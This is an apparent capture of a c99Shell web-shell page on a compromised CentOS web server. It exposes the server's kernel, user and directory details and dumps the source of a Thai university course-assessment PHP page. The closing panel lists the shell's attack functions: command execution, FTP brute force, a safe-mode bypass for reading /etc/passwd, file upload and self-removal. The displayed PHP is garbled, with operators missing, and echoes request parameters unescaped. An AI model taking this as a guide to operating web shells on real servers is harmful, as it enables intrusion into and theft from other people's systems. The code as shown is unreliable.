!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess_OLD/teacher/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showFormTeachCourse.php (28.14 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
include_once "template.php";
showHeader();
include_once 
"../class/clsReg_Program.php";
include_once 
"../class/clsReg_SysSemesterDes.php";
include_once 
"../link/function.php";
include_once 
"../class/clsCourseAssess.php";
include_once 
"../class/clsHoldCourse.php";
include_once 
"../class/clsClassAssess.php";
include_once 
"../class/clsClassOpenForAssess.php";
include_once 
"../class/clsClassInStructorAssess.php";
include_once 
"../class/clsOfficerAssess.php";
include_once 
"../class/clsDefineAssessment.php";
include_once 
"../class/clsAssessForm.php";
include_once 
"../class/clsSectionAll.php";
include_once 
"../class/clsDoAssessment.php";
include_once 
"../class/clsTimeTableAssess.php";
?>
<script language="javascript">
function sendPage(startpage,src) {
//alert(startpage);
//alert(src);
    var type;
    var word;
    type = document.getElementById('typeReport').value;
    //src = src+"&typeG="+document.getElementById('typeG').value;
    //word = "./resultRQHStd.php?="+src;
    //alert(word);
     if(type == 1){
         if(startpage == 1){
            //location.href = "./resultCourseTeachRQ.php?"+src;
            //window.open("./resultCourseTeachRQ?"+src,"_blank");
            var links = "./resultCourseTeachRQ.php?"+src;
            window.open(links, '', 'toolbars=0, scrollbars=yes, location=0, statusbars=0, menubars=0, resizable=yes, width=850, height=600, left = 90, top = 40');
        }else if(startpage == 2){
            var links = "./resultCourseTeachTQ.php?"+src;
            window.open(links, '', 'toolbars=0, scrollbars=yes, location=0, statusbars=0, menubars=0, resizable=yes, width=850, height=600, left = 90, top = 40');
        }
    }else if(type == 2){
        //location.href = "./reportDataRQ?"+src;
        //window.open("./reportDataRQ?"+src,"_blank");
        var links = "./reportDataRQp2.php?"+src;
        window.open(links, '', 'toolbars=0, scrollbars=yes, location=0, statusbars=0, menubars=0, resizable=yes, width=850, height=600, left = 90, top = 40');
    }else if(type == 3){
        //location.href = "./reportDataRQ?"+src;
        //window.open("./reportDataRQ?"+src,"_blank");
        var links = "./reportDataRQ.php?"+src;
        window.open(links, '', 'toolbars=0, scrollbars=yes, location=0, statusbars=0, menubars=0, resizable=yes, width=850, height=600, left = 90, top = 40');
    }
}
function radioSelect(val){
    document.getElementById('typeReport').value=val;
}
</script>
<?
sendRequest
();

$oCR = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_REG'], $GLOBALS['USER_REG'], $GLOBALS['PASSWORD_REG']);

$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$oProg = new Program($oCR);
$oCourse = new CourseAssess($oCA);
$oClass = new ClassAssess($oCA);
$oClsOpen = new ClassOpenForAssess($oCA);
$oCIS = new ClassInStructorAssess($oCA);
$oOFA = new OfficerAssess($oCA);
$oDA = new DefineAssessment($oCA);
$oHC = new HoldCourse($oCA);
$oAF = new AssessForm($oCA);
$oDo = new DoAssessment($oCA);
$oTTA=new TimeTableAssess($oCA);

$oCourse->SearchByKey($courseId);
$oCourse->GetRecord();

$oClass->SearchByKey($classId);
$oClass->GetRecord();

$oSse = new SysSemesterDes($oCR);
$oSse->SearchByKey($semester);
$oSse->GetRecord();

?>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<table width="740" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><fieldset><br>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="../teacher/searchTeachCourse.php?officerCode=<? echo $officerCode ?>&acadYear=<? echo $acadYear ?>&semester=<? echo $semester ?>" onclick="return sendRequest(this);" onmouseover="window.status=''; return true;"> ผลการประเมินรายวิชาที่สอน </a><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">  แยกตามรายการแบบประเมิน </font></legend>
      <div align="center"> 
        <form name="pc" method="post" action="<?php echo $PHP_SELF;?>">
          <table width="627" align="center" border="0" cellpadding="0" cellspacing="1">
            <tr> 
              <td width="625" height="85"><br>
                <table width="633" border="0" align="center" cellpadding="1" cellspacing="1" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_1"];?>">
                  <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_7'];?>"> 
                    <td  height="22" ><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>&nbsp;ปีการศึกษา</b></font></td>
                    <td colspan="5"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>:</b>&nbsp;<?php echo $acadYear ?> 
                      /&nbsp;<?php echo $oSse->semesterName;?></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">&nbsp;</font></td>
                  </tr>
                  <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_11'];?>"> 
                    <td height="24" <? if(($oClass->programId == 0) || ($oClass->programId == "")){ echo "valign=\"baseline\""; } ?>><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>&nbsp;หลักสูตร</b></font></td>
                    <td colspan="5"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>:</b>&nbsp;
                <? if(($oClass->programId == 0) || ($oClass->programId == "")){
                            
$z 0;
                            
$oClsOpen->SearchByClassId($oClass->classId);
                            while(
$oClsOpen->GetRecord()){
                                
$oProg->SearchByKey($oClsOpen->programId);
                                
$oProg->GetRecord();
                                
$arrCls[$z] = $oProg->programName;
                                
$z++;
                            } 
// end while oClsOpen
                            
for($a=0;$a<=$z;$a++){
                                echo 
$arrCls[$a];
                                if(
$a $z-1) echo ",<br> &nbsp;&nbsp;&nbsp;";
                            }
                        }else{
                            
$oProg->SearchByKey($oClass->programId);
                            
$oProg->GetRecord();
                            echo 
$oProg->programName;
                        }
                
?></font></td>
                  </tr>
                  <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_7'];?>"> 
                    <td height="24"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>&nbsp;รหัสรายวิชา</b></font></td>
                    <td colspan="5"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>:</b>&nbsp;<?php echo $oCourse->courseCode?> 
                      (<?php echo $oCourse->courseCodeEng?>)</font></td>
                  </tr>
                  <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_11'];?>"> 
                    <td height="24"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>&nbsp;ชื่อรายวิชา 
                      </b></font></td>
                    <td colspan="5"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>:</b></font>&nbsp;<font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo $oCourse->courseName?></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                      (<?php echo $oCourse->courseNameEng?>)</font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b> 
                      </b></font></td>
                  </tr>
                  <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_7'];?>"> 
                    <td  width="94" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>&nbsp;หน่วยกิต</b></font></td>
                    <td width="91"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>:</b>&nbsp;<?php echo $oCourse->courseUnit;?></font></td>
                    <td width="36" ><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>&nbsp;ชั้นปี</b></font></td>
                    <td width="56"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>:</b>&nbsp;<?php echo $oClass->studentYear?></font></td>
                    <td width="26"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>กลุ่ม</b></font></td>
                    <td width="310"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>:</b>&nbsp;<?php echo $oClass->section?></font></td>
                  </tr>
                  <tr> 
                    <td height="22">&nbsp;</td>
                    <td colspan="5">&nbsp;</td>
                  </tr>
                  <tr> 
                    <td height="22" colspan="6"> <fieldset>
                      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_6"]; ?>">ผลการประเมินแยกตามรายการแบบประเมิน</font></legend>
                      <table width="599" align="center">
                        <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
                          <td colspan="2">
                          <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">&nbsp;  เลือกประเภทรายงาน :
                     <br>&nbsp; <input type="radio" name="typeReport"  id="typeReport" value="1" checked onClick="radioSelect(1)">
                      รายงานทั่วไปของการประเมิน โดยจำแนกตามลักษณะคำถาม/ส่วน/หัวข้อการประเมิน</font> 
                      <br> &nbsp; <input type="radio" name="typeReport"  id="typeReport" value="2" onClick="radioSelect(2)"> 
                      <font color="<?php echo $GLOBALS['COLOR_FONT_4'];?>" size="2"> 
                      รายงานผลประเมินจำแนกตามหัวข้อการประเมิน (เฉพาะคำถามปลายปิด)</font><br> 
                      &nbsp; <input type="radio" name="typeReport"  id="typeReport" value="3" onClick="radioSelect(3)"> 
                      <font color="<?php echo $GLOBALS['COLOR_FONT_4'];?>" size="2"> 
                      รายงานผลประเมินข้อมูลดิบ (เฉพาะคำถามปลายปิด)</font>
                            </td>
                        </tr>
                        <tr><td colspan="2">&nbsp;</td></tr>
<?php
// รายวิชาที่สอน
        
if($owner == 0){
                          
$i=0;
                        
$fact=0;
                        
//ค้นหาแบบประเมินที่ได้กำหนดไว้   แบบที่ผูกกับรายวิชาทั้งหมด (flag =0)
                        
$oDA->SearchByAcadSemFlag($acadYear,$semester,'0');
                        while(
$oDA->GetRecord()){
                            
$oAF->SearchByKey($oDA->assid);
                            
$oAF->GetRecord();

                            
//ตรวจสอบว่าแบบประเมินมีส่วนที่ 1 เป็นคำถามปลายปิดหรือไม่  
                            
$oSA = new SectionAll($oCA);
                            
$minSeqSA $oSA->getMinSeqSA($oAF->assid);
                            
$oSA->SearchSectionRQidByAssidSeq($oAF->assid,$minSeqSA);
                            
$oSA->GetRecord();

                            if(
$oSA->sectionRQid  0) {
                                
$startpage 1;
                            }else{
                                
$startpage 2;
                            }

                    
?>
                        <tr> 
                          <td width="15" valign="top"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                            <!--ถ้า sectionRQid > 0 ที่ sequence = 1 แสดงว่าส่วนแรกเป็นคำถามปลายปิด--->
                            <img src="../picture/ico1.gif"  border ="0" align="top"></font> 
                          </td>
                          <td width="555"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><a href = "#" onClick = "sendPage('<? echo $startpage ?>','defineid=<? echo $oDA->defineid ?>&assid=<? echo $oDA->assid ?>&classId=<? echo $classId ?>&courseId=<? echo $courseId ?>&officerId=<? echo $officerId?>&officerCode=<? echo $officerCode ?>&acadYear=<? echo  $acadYear ?>&semester=<? echo $semester ?>&ttId=0')">
                            <?  if($oAF->maintopic == ""){ echo $oAF->nameAss." <img src = \"../picture/warn.png\" border = \"0\">"; }else{ echo $oAF->maintopic; } echo "&nbsp;" ?>
                            (ระหว่างวันที่ <? echo abbreDate(splitDateDb2($oDA->startDate,'/')); ?> 
                            - <? echo abbreDate(splitDateDb2($oDA->endDate,'/'));  ?>)</a></font> 
                          </td>
                        </tr>
                        <?php
                              $i
++;
                            
$fact 1;
                     } 
//end while oDA
                      
                    
$i=0;
                    
$factHold=0;            
                    
//ค้นหาแบบประเมินที่ได้กำหนดไว้  แบบที่ผูกกับบางรายวิชา(flag =1) ///   7
                    
$oDA->SearchByAcadSemFlag($acadYear,$semester,'1');
                    while(
$oDA->GetRecord()){
                        
$oHC->SearchByDefineidClassId($oDA->defineid,$classId);
                        if(
$oHC->GetRecord() == '1'){        
                            
$oAF->SearchByKey($oDA->assid);
                            
$oAF->GetRecord();

                            
//ตรวจสอบว่าแบบประเมินมีส่วนที่ 1 เป็นคำถามปลายปิดหรือไม่  
                            
$oSA = new SectionAll($oCA);
                            
$minSeqSA $oSA->getMinSeqSA($oAF->assid);
                            
$oSA->SearchSectionRQidByAssidSeq($oAF->assid,$minSeqSA);
                            
$oSA->GetRecord();

                            if(
$oSA->sectionRQid  0) {
                                
$startpage 1;
                            }else{
                                
$startpage 2;
                            }
                
?>
                        <tr> 
                          <td valign="top"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                            <!--ถ้า sectionRQid > 0 ที่ sequence = 1 แสดงว่าส่วนแรกเป็นคำถามปลายปิด--->
                            <img src="../picture/ico1.gif"  border ="0" align="top"> 
                            </font> </td>
                          <td width="555"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><a href = "#" onClick = "sendPage('<? echo $startpage ?>','defineid=<? echo $oDA->defineid ?>&assid=<? echo $oDA->assid ?>&classId=<? echo $classId ?>&courseId=<? echo $courseId ?>&officerId=<? echo $officerId?>&officerCode=<? echo $officerCode ?>&acadYear=<? echo  $acadYear ?>&semester=<? echo $semester ?>&ttId=0')">
                            <?  if($oAF->maintopic == ""){ echo $oAF->nameAss." <img src = \"../picture/warn.png\" border = \"0\">"; }else{ echo $oAF->maintopic; } echo "&nbsp;" ?>
                            (ระหว่างวันที่ <? echo abbreDate(splitDateDb2($oDA->startDate,'/')); ?> 
                            - <? echo abbreDate(splitDateDb2($oDA->endDate,'/'));  ?>
                            <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> 
                            * </font></a></font> </td>
                          <?php
                        $factHold 
1;    
                        } 
//end if oHC  
                        
$i++;
                    } 
// end while oDA
                
?>
                    <?
                    $i
=0;
                    
$factHold=0;
                                    
/*---------------------------------ค้นหาแบบประเมินที่ได้กำหนดไว้  แบบที่ผูกกับบางรายวิชา(flag =7) week -------------------------------*/
                    
$oDA->SearchByAcadSemFlag($acadYear,$semester,'7');
                    while(
$oDA->GetRecord()){
                            
$oAF->SearchByKey($oDA->assid);
                            
$oAF->GetRecord();

                            
//ตรวจสอบว่าแบบประเมินมีส่วนที่ 1 เป็นคำถามปลายปิดหรือไม่  
                            
$oSA = new SectionAll($oCA);
                            
$minSeqSA $oSA->getMinSeqSA($oAF->assid);
                            
$oSA->SearchSectionRQidByAssidSeq($oAF->assid,$minSeqSA);
                            
$oSA->GetRecord();

                            if(
$oSA->sectionRQid  0) {
                                
$startpage 1;
                            }else{
                                
$startpage 2;
                            }
                            
$tt=0;
                            
$oTTA->RSJoinHCByDefineidClIdOfId($oDA->defineid,$classId,$officerId);
                            while(
$oTTA->GetRecord()){    
                                if(
$tt==0){
                    
?> 
                        <tr>
                          <td valign="top">
                            <!--ถ้า sectionRQid > 0 ที่ sequence = 1 แสดงว่าส่วนแรกเป็นคำถามปลายปิด--->
                            <img src="../picture/ico1.gif"  border ="0" align="top"></td>
                          <td width="555"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">
                            <?  if($oAF->maintopic == ""){ echo $oAF->nameAss." <img src = \"../picture/warn.png\" border = \"0\">"; }else{ echo $oAF->maintopic; } echo "&nbsp;" ?>
                            (ระหว่างวันที่ <? echo abbreDate(splitDateDb2($oDA->startDate,'/')); ?> 
                            - <? echo abbreDate(splitDateDb2($oDA->endDate,'/'));  ?>
                            </font> 

                            <br> 
                            <? if($oDA->isPreAssess) { ?>
                                    <img src="../picture/book1.gif" width="22" height="18" border="0" />
                            <? }else {?>
                                    <img src="../picture/open_book1.jpg" width="22" height="18" border="0" />
                            <? 
                                echo 
" สัปดาห์ที่ : "
                            } 
// End if $tt==0
                            
    
                                // แสดงสัปดาห์ที่มีแบบประเมิน ttId->ttWdAcYWeekNo
                                
if($tt>=1) echo " , ";
                                
?><a href = "#" onclick = "sendPage('<?=$startpage ?>','defineid=<?=$oDA->defineid ?>&assid=<?=$oDA->assid ?>&classId=<?=$classId ?>&courseId=<?= $courseId ?>&officerId=<?=$officerId?>&officerCode=<?=$officerCode ?>&acadYear=<?=$acadYear ?>&semester=<?=$semester ?>&ttId=<?=$oTTA->ttId?>')">
                                    <?="  ".$oTTA->ttWdAcYWeekNo?></a>
                                <?
                                $tt
++;        
                                
$factHold 1;            
                            } 
//end while oTTA
                            
if($tt>1){
                        
?>
                            &nbsp;,&nbsp;<a href = "#" onclick = "sendPage('<?=$startpage ?>','defineid=<?=$oDA->defineid ?>&assid=<?=$oDA->assid ?>&classId=<?=$classId ?>&courseId=<?= $courseId ?>&officerId=<?=$officerId?>&officerCode=<?=$officerCode ?>&acadYear=<?=$acadYear ?>&semester=<?=$semester ?>&ttId=0')">รวมทุกสัปดาห์</a>
                            <? }?>                            </td>
                        </tr>
                        <?php    
                        $i
++;                
                    } 
// end while oDA

                        
$i=0;
                    
/*---------------------------------ค้นหาแบบประเมินที่ได้กำหนดไว้  แบบที่ผูกกับบางรายวิชา(flag =8) teacher -------------------------------*/
                    
$oDA->SearchByAcadSemFlag($acadYear,$semester,'8');
                    while(
$oDA->GetRecord()){
                            
$oAF->SearchByKey($oDA->assid);
                            
$oAF->GetRecord();

                            
//ตรวจสอบว่าแบบประเมินมีส่วนที่ 1 เป็นคำถามปลายปิดหรือไม่  
                            
$oSA = new SectionAll($oCA);
                            
$minSeqSA $oSA->getMinSeqSA($oAF->assid);
                            
$oSA->SearchSectionRQidByAssidSeq($oAF->assid,$minSeqSA);
                            
$oSA->GetRecord();

                            if(
$oSA->sectionRQid  0) {
                                
$startpage 1;
                            }else{
                                
$startpage 2;
                            }
                    
//        $oTTA->RSJoinHCByDefineidClIdOfId($oDA->defineid,$classId,$officerId);
                            
$oHC->SearchByDefineidClassIdOfficerId($oDA->defineid,$classId,$officerId);
                            if(
$oHC->GetRecord()){    
                    
?> 
                        <tr>
                          <td valign="top">
                            <!--ถ้า sectionRQid > 0 ที่ sequence = 1 แสดงว่าส่วนแรกเป็นคำถามปลายปิด--->
                            <img src="../picture/ico1.gif"  border ="0" align="top"></td>
                          <td width="555"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">
                          <? if($oDA->isPreAssess) { ?>
                                    <img src="../picture/book1.gif" width="22" height="18" border="0" />
                            <? }else {?>
                                    <img src="../picture/open_book1.jpg" width="22" height="18" border="0" />
                            <? ?>
                            <a href = "#" onclick = "sendPage('<?=$startpage ?>','defineid=<?=$oDA->defineid ?>&assid=<?=$oDA->assid ?>&classId=<?=$classId ?>&courseId=<?= $courseId ?>&officerId=<?=$officerId?>&officerCode=<?=$officerCode ?>&acadYear=<?=$acadYear ?>&semester=<?=$semester ?>&ttId=0')">
                            <? if($oAF->maintopic == ""){ echo $oAF->nameAss." <img src = \"../picture/warn.png\" border = \"0\">"; }else{ echo $oAF->maintopic; } echo "&nbsp;" ?>
                            (ระหว่างวันที่ <? echo abbreDate(splitDateDb2($oDA->startDate,'/')); ?> 
                            - <? echo abbreDate(splitDateDb2($oDA->endDate,'/'));  ?>)*  </a>
                            </font>    </td>
                        </tr>
                        <?php    
                            $factHold 
1;
                        } 
// end if oHC
                        
$i++;                
                    } 
// end while oDA

// รายวิชาที่ส่งเกรด
                
} else { 
                          
//$i=0;
                        
$factHold=0;
                        
/*----------------------ค้นหาแบบประเมินที่ได้กำหนดไว้   แบบที่ผูกกับรายวิชาทั้งหมดลักษณะประเมินภาพรวมรายวิชา (flag =5)------------------------*/
                        
$oDA->SearchByAcadSemFlag($acadYear,$semester,'5');
                        while(
$oDA->GetRecord()){
                            
$oAF->SearchByKey($oDA->assid);
                            
$oAF->GetRecord();

                            
//ตรวจสอบว่าแบบประเมินมีส่วนที่ 1 เป็นคำถามปลายปิดหรือไม่  
                            
$oSA = new SectionAll($oCA);
                            
$minSeqSA $oSA->getMinSeqSA($oAF->assid);
                            
$oSA->SearchSectionRQidByAssidSeq($oAF->assid,$minSeqSA);
                            
$oSA->GetRecord();

                            if(
$oSA->sectionRQid  0) {
                                
$startpage 1;
                            }else{
                                
$startpage 2;
                            }

                            
//echo "<br> oSA->sectionRQid = ".$oSA->sectionRQid;
                            
                        //    if(($i%2) == 0)
                            //    echo '<tr>';
                        //    else
                            //    echo '<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';
                    
?>
                        <tr> 
                          <td width="15" valign="top"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                            <!--ถ้า sectionRQid > 0 ที่ sequence = 1 แสดงว่าส่วนแรกเป็นคำถามปลายปิด--->
                            <img src="../picture/icoa14.jpg"  border ="0" align="top"></font>                          </td>
                          <td width="555"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><a href = "#" onClick = "sendPage('<? echo $startpage ?>','defineid=<? echo $oDA->defineid ?>&assid=<? echo $oDA->assid ?>&programId=<?=$programId;?>&classId=<? echo $classId ?>&courseId=<? echo $courseId ?>&officerId=0&officerCode=0&acadYear=<? echo  $acadYear ?>&semester=<? echo $semester ?>&ttId=0')">
                            <?  if($oAF->maintopic == ""){ echo $oAF->nameAss." <img src = \"../picture/warn.png\" border = \"0\">"; }else{ echo $oAF->maintopic; } echo "&nbsp;" ?>
                            (ระหว่างวันที่ <? echo abbreDate(splitDateDb2($oDA->startDate,'/')); ?> 
                            - <? echo abbreDate(splitDateDb2($oDA->endDate,'/'));  ?>)</a></font></td>
                        </tr>
                        <?php
                              
//$i++;
                            
$factHold 1;
                     } 
//end while oDA
                    //$i=0;
                    /*----------------------ค้นหาแบบประเมินที่ได้กำหนดไว้   แบบที่ผูกกับบางรายวิชา รูปแบบประเมินภาพรวมรายวิชา (flag =6)------------------------*/
                    
$oDA->SearchByAcadSemFlag($acadYear,$semester,'6');
                    while(
$oDA->GetRecord()){
                        
$oHC->SearchByDefineidClassId($oDA->defineid,$classId);
                        if(
$oHC->GetRecord() == '1'){        
                            
$oAF->SearchByKey($oDA->assid);
                            
$oAF->GetRecord();

                            
//ตรวจสอบว่าแบบประเมินมีส่วนที่ 1 เป็นคำถามปลายปิดหรือไม่  
                            
$oSA = new SectionAll($oCA);
                            
$minSeqSA $oSA->getMinSeqSA($oAF->assid);
                            
$oSA->SearchSectionRQidByAssidSeq($oAF->assid,$minSeqSA);
                            
$oSA->GetRecord();

                            if(
$oSA->sectionRQid  0) {
                                
$startpage 1;
                            }else{
                                
$startpage 2;
                            }

                
?>
                        <tr> 
                          <td valign="top"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                            <!--ถ้า sectionRQid > 0 ที่ sequence = 1 แสดงว่าส่วนแรกเป็นคำถามปลายปิด--->
                            <img src="../picture/icoa14.jpg"  border ="0" align="top"> 
                            </font> </td>
                          <td width="555"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><a href = "#" onclick = "sendPage('<? echo $startpage ?>','defineid=<? echo $oDA->defineid ?>&assid=<? echo $oDA->assid ?>&programId=<?=$programId;?>&classId=<? echo $classId ?>&courseId=<? echo $courseId ?>&officerId=0&officerCode=0&acadYear=<? echo  $acadYear ?>&semester=<? echo $semester ?>&ttId=0')">
                            <?  if($oAF->maintopic == ""){ echo $oAF->nameAss." <img src = \"../picture/warn.png\" border = \"0\">"; }else{ echo $oAF->maintopic; } echo "&nbsp;" ?>
                            (ระหว่างวันที่ <? echo abbreDate(splitDateDb2($oDA->startDate,'/')); ?> 
                            - <? echo abbreDate(splitDateDb2($oDA->endDate,'/'));  ?>
                            <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> 
                            * </font></a></font> </td>
                        </tr>
                        <?php
                            $factHold 
1;    
                        } 
//end if oHC  
                        
$i++;                
                    } 
// end while oDA
                
// end else officer != 0

                        
if(($fact == 0) && ($factHold == 0)) { ?>
                        <tr> 
                          <td colspan="2" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">** 
                            ไม่ปรากฏรายการแบบประเมินที่ใช้ประเมินในช่วงเวลาปัจจุบัน 
                            **</font></td>
                        </tr>
                        <? ?>
                      </table>
                      <p>&nbsp;</p>
                      </fieldset></td>
                  </tr>
                </table>
                
              </td>
            </tr>
            <tr> 
              <td height="2"></td>
            </tr>
            <tr> 
              <td height="2"></td>
            </tr>
<?          if($owner != 0) {      // แสดงรายชื่ออาจารย์ที่สอน?>
          <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_6"];?>"> 
            <td height="22" colspan="2" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><b>รายชื่ออาจารย์ที่สอน
              </b></font></td>
          </tr>
        <tr><td>
            <table width="376" height="87" align="center" cellpadding="1" cellspacing="1" bgcolor="silver">
              <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_3"];?>">
                <td width="88" height="28" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>รหัสอาจารย์</strong></font></td>
                <td width="279" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>" size="2"><b>ชื่อ-นามสกุล</b></font></td>
              </tr>
              <?php
                $i
=0;
                
$oTTA ->RSDistinctOfId($classId);
                while(
$oTTA->GetRecord()){        
                    
$oOFA->SearchByKey($oTTA->ttOfId);
                    
$oOFA->GetRecord();
                    
                    
$oCourse = new CourseAssess($oCA);
                    
$oCourse->SearchByKey($oTTA->ttOfId);
                    
$oCourse->GetRecord();
                    if((
$i%2) == 0)
                        echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_5"].'">';
                    else
                        echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';
?>
  <td height="22" align="center"><font size="1" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><a href = "showFormTeachCourse.php?officerId=<? echo $oOFA->officerId?>&officerCode=<? echo $officerCode?>&classId=<? echo $classId?>&courseId=<? echo $oClass->courseId?>&acadYear=<? echo $acadYear?>&semester=<? echo $semester?>&owner=0" onclick="return sendRequest(this);" onmouseover="window.status=''; return true;" ><?php echo $oOFA->officerCode;?></a></font></td>
<td ><font size="1" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><img src="../picture/user.gif" width="16" height="16" border="0">&nbsp;&nbsp;<a href = "showFormTeachCourse.php?officerId=<? echo $oOFA->officerId?>&officerCode=<? echo $officerCode?>&classId=<? echo $classId?>&courseId=<? echo $oClass->courseId ?>&acadYear=<? echo $acadYear?>&semester=<? echo $semester?>&owner=0" onclick="return sendRequest(this);"  onmouseover="window.status=''; return true;"><?php echo $oOFA->prefixName.$oOFA->officerName."  ".$oOFA->officerSurname;?></a></font> </td>

</tr>
<?php
                $i
++;
                
$flag=1;
            }    
// end while oClass
                    
            
if($flag == 0) {
?>
<tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_5"];?>">
<td colspan="6" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">** 
  ไม่ปรากฏรายชื่ออาจารย์ที่สอน **</font></td>
</tr>
<?php
        
}
?>
            </table>
        </td></tr>
<?      }       ?>
            <tr> 
              <td height="40"><br>
                <input type="button" name="back" value="กลับสู่หน้าหลัก" onClick="location.href = '../teacher/searchTeachCourse.php?officerCode=<? echo $officerCode ?>&acadYear=<? echo $acadYear ?>&semester=<? echo $semester ?>'"></td>
            </tr>
          </table>
        </form>
      </div>
      </fieldset><br>
      <table width="89%" border="0">
        <tr> 
          <td width="11%" height="27"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><strong>หมายเหตุ 
            : </strong></font></td>
          <td width="178%" colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">คลิกที่รายการแบบประเมินเพื่อดูผลการประเมิน</font></td>
        </tr>
        <tr> 
          <td height="27">&nbsp;</td>
          <td colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">* 
            หมายถึง แบบประเมินเฉพาะรายวิชา</font></td>
        </tr>
      </table>
    </td>
</tr>
</table>
<form name="silent" id="silent" style="margin:0px; padding: 0px;" method="post"></form>
<?php
showFooter
();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0152 ]--